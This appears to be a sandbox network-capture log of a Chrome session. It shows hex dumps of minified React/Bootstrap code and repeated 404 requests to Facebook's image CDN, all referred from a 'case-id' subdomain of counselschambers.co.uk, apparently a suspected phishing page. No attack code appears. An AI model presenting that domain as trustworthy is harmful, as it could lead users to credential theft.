2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 3a 65 2c 61 72 72 61 79 4f 66 3a 74 2c 65 6c 65 6d 65 6e 74 3a 65 2c 65 6c 65 6d 65 6e 74 54 79 70 65 3a 65 2c 69 6e 73 74 61 6e 63 65 4f 66 3a 74 2c 6e 6f 64 65 3a 65 2c 6f 62 6a 65 63 74 4f 66 3a 74 2c 6f 6e 65 4f 66 3a 74 2c 6f 6e 65 4f 66 54 79 70 65 3a 74 2c 73 68 61 70 65 3a 74 2c 65 78 61 63 74 3a 74 2c 63 68 65 63 6b 50 72 6f 70 54 79 70 65 73 3a 61 2c 72 65 73 65 74 57 61 72 6e 69 6e 67 43 61 63 68 65 3a 6f 7d 3b 72 65 74 75 72 6e 20 6e 2e 50 72 6f 70 54 79 70 65 73 3d 6e 2c 6e 7d 7d 2c 35 32 36 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 6e 28 34 32 38 29 28 29 7d 2c 31 33 34 3a 65 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 73 3d 22 53 45 43 52 45 54 5f 44 4f 5f 4e 4f 54 5f 50 41 53 53 5f 54 48 49 Data Ascii: :e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:a,resetWarningCache:o};return n.PropTypes=n,n}},526:(e,t,n)=>{e.exports=n(428)()},134:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THI
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 3a 21 30 2c 67 65 74 3a 74 5b 6e 5d 7d 29 7d 2c 6f 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e 20 74 68 69 73 7c 7c 6e 65 77 20 46 75 6e 63 74 69 6f 6e 28 22 72 65 74 75 72 6e 20 74 68 69 73 22 29 28 29 7d 63 61 74 63 68 28 65 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 7d 7d 28 29 2c 6f 2e 6f 3d 28 65 2c 74 29 3d 3e 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 2c 6f 2e 72 3d 65 3d 3e 7b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d Data Ascii: :!0,get:t[n]})},o.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window)return window}}(),o.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),o.r=e=>{"undefined"!=
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 3a 28 29 3d 3e 6d 61 2c 46 6f 72 6d 47 72 6f 75 70 3a 28 29 3d 3e 68 61 2c 46 6f 72 6d 4c 61 62 65 6c 3a 28 29 3d 3e 78 61 2c 46 6f 72 6d 53 65 6c 65 63 74 3a 28 29 3d 3e 4e 61 2c 46 6f 72 6d 54 65 78 74 3a 28 29 3d 3e 6a 61 2c 49 6d 61 67 65 3a 28 29 3d 3e 47 6f 2c 49 6e 70 75 74 47 72 6f 75 70 3a 28 29 3d 3e 49 61 2c 4c 69 73 74 47 72 6f 75 70 3a 28 29 3d 3e 58 61 2c 4c 69 73 74 47 72 6f 75 70 49 74 65 6d 3a 28 29 3d 3e 71 61 2c 4d 6f 64 61 6c 3a 28 29 3d 3e 4c 73 2c 4d 6f 64 61 6c 42 6f 64 79 3a 28 29 3d 3e 77 73 2c 4d 6f 64 61 6c 44 69 61 6c 6f 67 3a 28 29 3d 3e 6a 73 2c 4d 6f 64 61 6c 46 6f 6f 74 65 72 3a 28 29 3d 3e 4f 73 2c 4d 6f 64 61 6c 48 65 61 64 65 72 3a 28 29 3d 3e 54 73 2c 4d 6f 64 61 6c 54 69 74 6c 65 3a 28 29 3d 3e 44 73 2c 4e 61 76 3a 28 Data Ascii: :()=>ma,FormGroup:()=>ha,FormLabel:()=>xa,FormSelect:()=>Na,FormText:()=>ja,Image:()=>Go,InputGroup:()=>Ia,ListGroup:()=>Xa,ListGroupItem:()=>qa,Modal:()=>Ls,ModalBody:()=>ws,ModalDialog:()=>js,ModalFooter:()=>Os,ModalHeader:()=>Ts,ModalTitle:()=>Ds,Nav:(
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 74 75 72 6e 7b 7d 3b 76 61 72 20 6e 2c 72 2c 6f 3d 7b 7d 2c 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 66 6f 72 28 72 3d 30 3b 72 3c 61 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 3d 61 5b 72 5d 2c 74 2e 69 6e 64 65 78 4f 66 28 6e 29 3e 3d 30 7c 7c 28 6f 5b 6e 5d 3d 65 5b 6e 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 76 61 72 20 6c 3d 6f 28 32 38 36 29 2c 63 3d 6f 2e 6e 28 6c 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 72 65 74 75 72 6e 22 64 65 66 61 75 6c 74 22 2b 65 2e 63 68 61 72 41 74 28 30 29 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 2b 65 2e 73 75 62 73 74 72 28 31 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 29 7b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 65 7c 7c 6e 75 6c Data Ascii: turn{};var n,r,o={},a=Object.keys(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)>=0\|\|(o[n]=e[n]);return o}var l=o(286),c=o.n(l);function u(e){return"default"+e.charAt(0).toUpperCase()+e.substr(1)}function d(e){var t=function(e,t){if("object"!=typeof e\|\|nul
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 65 43 6f 6e 74 65 78 74 29 28 62 29 3b 72 65 74 75 72 6e 22 72 74 6c 22 3d 3d 3d 65 7d 63 6f 6e 73 74 20 6a 3d 66 75 6e 63 74 69 6f 6e 28 7b 70 72 65 66 69 78 65 73 3a 65 3d 7b 7d 2c 62 72 65 61 6b 70 6f 69 6e 74 73 3a 74 3d 76 2c 6d 69 6e 42 72 65 61 6b 70 6f 69 6e 74 3a 72 3d 68 2c 64 69 72 3a 6f 2c 63 68 69 6c 64 72 65 6e 3a 61 7d 29 7b 63 6f 6e 73 74 20 73 3d 28 30 2c 6e 2e 75 73 65 4d 65 6d 6f 29 28 28 28 29 3d 3e 28 7b 70 72 65 66 69 78 65 73 3a 7b 2e 2e 2e 65 7d 2c 62 72 65 61 6b 70 6f 69 6e 74 73 3a 74 2c 6d 69 6e 42 72 65 61 6b 70 6f 69 6e 74 3a 72 2c 64 69 72 3a 6f 7d 29 29 2c 5b 65 2c 74 2c 72 2c 6f 5d 29 3b 72 65 74 75 72 6e 28 30 2c 6d 2e 6a 73 78 29 28 67 2c 7b 76 61 6c 75 65 3a 73 2c 63 68 69 6c 64 72 65 6e 3a 61 7d 29 7d 3b 66 75 6e 63 74 Data Ascii: eContext)(b);return"rtl"===e}const j=function({prefixes:e={},breakpoints:t=v,minBreakpoint:r=h,dir:o,children:a}){const s=(0,n.useMemo)((()=>({prefixes:{...e},breakpoints:t,minBreakpoint:r,dir:o})),[e,t,r,o]);return(0,m.jsx)(g,{value:s,children:a})};funct
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 74 2e 6d 6f 75 6e 74 4f 6e 45 6e 74 65 72 3f 49 3a 41 2c 72 2e 73 74 61 74 65 3d 7b 73 74 61 74 75 73 3a 6f 7d 2c 72 2e 6e 65 78 74 43 61 6c 6c 62 61 63 6b 3d 6e 75 6c 6c 2c 72 7d 6e 3d 65 2c 28 74 3d 6f 29 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 2e 70 72 6f 74 6f 74 79 70 65 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 74 2c 53 28 74 2c 6e 29 2c 6f 2e 67 65 74 44 65 72 69 76 65 64 53 74 61 74 65 46 72 6f 6d 50 72 6f 70 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 69 6e 26 26 74 2e 73 74 61 74 75 73 3d 3d 3d 49 3f 7b 73 74 61 74 75 73 3a 41 7d 3a 6e 75 6c 6c 7d 3b 76 61 72 20 61 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 61 2e 63 6f 6d 70 Data Ascii: t.mountOnEnter?I:A,r.state={status:o},r.nextCallback=null,r}n=e,(t=o).prototype=Object.create(n.prototype),t.prototype.constructor=t,S(t,n),o.getDerivedStateFromProps=function(e,t){return e.in&&t.status===I?{status:A}:null};var a=o.prototype;return a.comp
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 69 6f 6e 28 29 7b 74 2e 70 72 6f 70 73 2e 6f 6e 45 6e 74 65 72 69 6e 67 28 61 2c 73 29 2c 74 2e 6f 6e 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 6c 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 73 61 66 65 53 65 74 53 74 61 74 65 28 7b 73 74 61 74 75 73 3a 42 7d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 70 72 6f 70 73 2e 6f 6e 45 6e 74 65 72 65 64 28 61 2c 73 29 7d 29 29 7d 29 29 7d 29 29 29 3a 74 68 69 73 2e 73 61 66 65 53 65 74 53 74 61 74 65 28 7b 73 74 61 74 75 73 3a 42 7d 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 70 72 6f 70 73 2e 6f 6e 45 6e 74 65 72 65 64 28 61 29 7d 29 29 7d 2c 61 2e 70 65 72 66 6f 72 6d 45 78 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 70 72 6f 70 73 2e 65 78 69 74 2c 6e 3d Data Ascii: ion(){t.props.onEntering(a,s),t.onTransitionEnd(l,(function(){t.safeSetState({status:B},(function(){t.props.onEntered(a,s)}))}))}))):this.safeSetState({status:B},(function(){t.props.onEntered(a)}))},a.performExit=function(){var e=this,t=this.props.exit,n=
2025-03-14 09:08:33 UTC	1378	IN	Data Raw: 61 74 65 2e 73 74 61 74 75 73 3b 69 66 28 65 3d 3d 3d 49 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 74 3d 74 68 69 73 2e 70 72 6f 70 73 2c 6e 3d 74 2e 63 68 69 6c 64 72 65 6e 2c 6f 3d 28 74 2e 69 6e 2c 74 2e 6d 6f 75 6e 74 4f 6e 45 6e 74 65 72 2c 74 2e 75 6e 6d 6f 75 6e 74 4f 6e 45 78 69 74 2c 74 2e 61 70 70 65 61 72 2c 74 2e 65 6e 74 65 72 2c 74 2e 65 78 69 74 2c 74 2e 74 69 6d 65 6f 75 74 2c 74 2e 61 64 64 45 6e 64 4c 69 73 74 65 6e 65 72 2c 74 2e 6f 6e 45 6e 74 65 72 2c 74 2e 6f 6e 45 6e 74 65 72 69 6e 67 2c 74 2e 6f 6e 45 6e 74 65 72 65 64 2c 74 2e 6f 6e 45 78 69 74 2c 74 2e 6f 6e 45 78 69 74 69 6e 67 2c 74 2e 6f 6e 45 78 69 74 65 64 2c 74 2e 6e 6f 64 65 52 65 66 2c 69 28 74 2c 5b 22 63 68 69 6c 64 72 65 6e 22 2c 22 69 6e 22 2c 22 6d 6f 75 6e Data Ascii: ate.status;if(e===I)return null;var t=this.props,n=t.children,o=(t.in,t.mountOnEnter,t.unmountOnExit,t.appear,t.enter,t.exit,t.timeout,t.addEndListener,t.onEnter,t.onEntering,t.onEntered,t.onExit,t.onExiting,t.onExited,t.nodeRef,i(t,["children","in","moun

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49743	157.240.253.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:33 UTC	778	OUT	GET /rsrc.php/v3/y4/r/lCgIhoPdDwe.png?_nc_eui2=AeEHhRnoC5WMGsis9w3OX_xmipu6QNTZOaaKm7pA1Nk5pm0Io5KHk3e2v5hMgnZRXyR3jgQllPVtTyYbHbAwAVOK HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	1295	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src blob: 'self';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1: blob: data: 'self' https://.google-analytics.com .google.com;style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;font-src data: blob: 'self';img-src data: blob: 'self' https://*.google-analytics.com;media-src data: blob: 'self';child-src data: blob: 'self';frame-src data: blob: 'self';manifest-src data: blob: 'self';object-src data: blob: 'self';worker-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-03-14 09:08:33 UTC	1164	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-03-14 09:08:33 UTC	3362	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4a 6f 63 30 6e 48 4f 63 2d 70 33 69 31 57 6f 76 64 50 41 51 78 6e 72 2d 44 4b 4d 55 46 70 70 34 4e 4e 33 51 64 47 34 5a 57 30 73 63 35 55 41 55 48 6e 4e 77 51 46 67 67 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 49 31 38 38 33 5f 73 44 58 49 32 66 32 68 48 37 4d 4a 41 39 49 43 30 5f 78 35 42 69 79 66 39 6d 38 42 33 71 4b 68 48 73 59 64 79 57 57 66 58 48 52 79 34 78 5f 34 45 7a 6c 63 7a 66 36 54 71 39 67 72 64 72 52 41 31 41 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 4a 34 5a 43 57 6c 43 63 4e 76 48 77 4a 79 6b 68 48 63 35 58 46 47 45 74 7a 69 61 63 4b 71 31 49 2d 4b Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcJoc0nHOc-p3i1WovdPAQxnr-DKMUFpp4NN3QdG4ZW0sc5UAUHnNwQFgg"; e_fb_requesttime="AcI1883_sDXI2f2hH7MJA9IC0_x5Biyf9m8B3qKhHsYdyWWfXHRy4x_4Ezlczf6Tq9grdrRA1A"; e_proxy="AcJ4ZCWlCcNvHwJykhHc5XFGEtziacKq1I-K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49742	157.240.253.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:33 UTC	778	OUT	GET /rsrc.php/v3/y0/r/ZDbWZ2ztKOk.png?_nc_eui2=AeGSAI0Ta_q8bhtXbB4BszOpKhxbmRQXpz0qHFuZFBenPVMKXXE6_r6aJu7KzG1uB7QXmT4PCyvmz-1AFJATsMyQ HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	1295	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src blob: 'self';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1: blob: data: 'self' https://.google-analytics.com .google.com;style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;font-src data: blob: 'self';img-src data: blob: 'self' https://*.google-analytics.com;media-src data: blob: 'self';child-src data: blob: 'self';frame-src data: blob: 'self';manifest-src data: blob: 'self';object-src data: blob: 'self';worker-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-03-14 09:08:33 UTC	1164	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-03-14 09:08:33 UTC	3365	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4c 2d 38 62 68 4a 65 72 4b 4c 63 50 4c 37 62 30 71 5f 59 2d 58 6c 5f 49 43 73 75 52 45 53 6c 49 6c 38 7a 43 79 39 7a 69 62 46 43 33 58 72 41 61 6d 31 37 49 6b 36 4c 77 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 4c 72 6f 73 32 7a 67 74 50 42 70 5f 57 52 49 62 46 54 43 4d 77 6c 4a 73 57 50 49 54 73 57 59 74 32 46 4e 48 46 6b 31 6c 46 45 46 53 75 41 47 61 4c 37 6c 7a 46 44 51 53 61 34 75 5a 75 69 6c 6d 78 47 6b 6c 4b 73 66 77 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 4a 37 48 5a 47 37 79 41 69 56 54 36 62 6a 59 5a 47 6a 39 76 67 50 71 71 4b 71 6f 61 34 6c 57 77 52 55 Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcL-8bhJerKLcPL7b0q_Y-Xl_ICsuRESlIl8zCy9zibFC3XrAam17Ik6Lw"; e_fb_requesttime="AcLros2zgtPBp_WRIbFTCMwlJsWPITsWYt2FNHFk1lFEFSuAGaL7lzFDQSa4uZuilmxGklKsfw"; e_proxy="AcJ7HZG7yAiVT6bjYZGj9vgPqqKqoa4lWwRU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49744	157.240.253.1	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:33 UTC	778	OUT	GET /rsrc.php/v3/y5/r/juHXA8pRbU4.png?_nc_eui2=AeGYPh0Yw0hm06jC3mdd5o4pqL-BzkD0hYqov4HOQPSFiuhqifH663RsjfKIYI5RkcrWYAJhnyRtt5m9gJlVNKSW HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	1295	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding x-fatal-request: static.xx.fbcdn.net Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT timing-allow-origin: * reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src blob: 'self';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1: blob: data: 'self' https://.google-analytics.com .google.com;style-src 'unsafe-inline';connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;font-src data: blob: 'self';img-src data: blob: 'self' https://*.google-analytics.com;media-src data: blob: 'self';child-src data: blob: 'self';frame-src data: blob: 'self';manifest-src data: blob: 'self';object-src data: blob: 'self';worker-src data: blob: 'self';block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-03-14 09:08:33 UTC	1164	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-03-14 09:08:33 UTC	3364	IN	Data Raw: 50 72 6f 78 79 2d 53 74 61 74 75 73 3a 20 68 74 74 70 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 3b 20 65 5f 66 62 5f 72 65 73 70 6f 6e 73 65 62 79 74 65 73 3d 22 41 63 4b 31 52 71 51 68 39 4a 71 39 50 75 41 32 4e 31 53 74 43 64 45 51 46 50 62 6d 39 41 5f 75 56 6b 7a 4d 70 33 33 46 33 42 48 78 72 41 5f 56 66 53 6f 43 6d 4a 75 41 53 51 22 3b 20 65 5f 66 62 5f 72 65 71 75 65 73 74 74 69 6d 65 3d 22 41 63 4a 53 4f 64 44 71 68 39 37 5f 6d 75 42 70 69 39 38 55 5f 50 42 69 75 47 50 4a 46 54 37 43 76 6b 31 31 6c 79 57 56 4b 74 69 43 50 61 44 4f 75 49 56 41 68 55 58 39 46 38 46 69 6a 7a 73 35 6c 34 73 55 6a 2d 38 37 4a 77 22 3b 20 65 5f 70 72 6f 78 79 3d 22 41 63 49 48 4a 4d 47 75 4e 48 67 48 51 4c 74 47 71 47 42 72 48 74 34 43 65 6a 64 6b 62 67 72 56 44 2d 50 64 Data Ascii: Proxy-Status: http_request_error; e_fb_responsebytes="AcK1RqQh9Jq9PuA2N1StCdEQFPbm9A_uVkzMp33F3BHxrA_VfSoCmJuASQ"; e_fb_requesttime="AcJSOdDqh97_muBpi98U_PBiuGPJFT7Cvk11lyWVKtiCPaDOuIVAhUX9F8Fijzs5l4sUj-87Jw"; e_proxy="AcIHJMGuNHgHQLtGqGBrHt4CejdkbgrVD-Pd

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49745	142.250.185.132	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
